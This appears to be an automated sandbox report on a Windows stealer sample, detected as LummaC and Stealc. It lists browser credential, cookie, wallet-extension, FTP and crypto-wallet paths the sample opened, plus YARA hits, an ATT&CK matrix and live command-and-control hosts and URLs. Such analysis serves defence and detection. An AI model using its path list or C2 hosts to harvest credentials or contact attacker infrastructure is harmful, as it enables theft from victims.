Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212584099.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2214000519.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2241606236.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 20yLTIU4mS.exe PID: 3552, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 20yLTIU4mS.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2490759990.0000000000DE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449354985.0000000004870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VVRXVZ2T118YVIGZN2.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20yLTIU4mS.exe	61%	Virustotal		Browse
20yLTIU4mS.exe	61%	ReversingLabs	Win32.Trojan.Generic
20yLTIU4mS.exe	100%	Avira	TR/Crypt.XPACK.Gen
20yLTIU4mS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	47%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
necklacebudi.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamst	20yLTIU4mS.exe	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
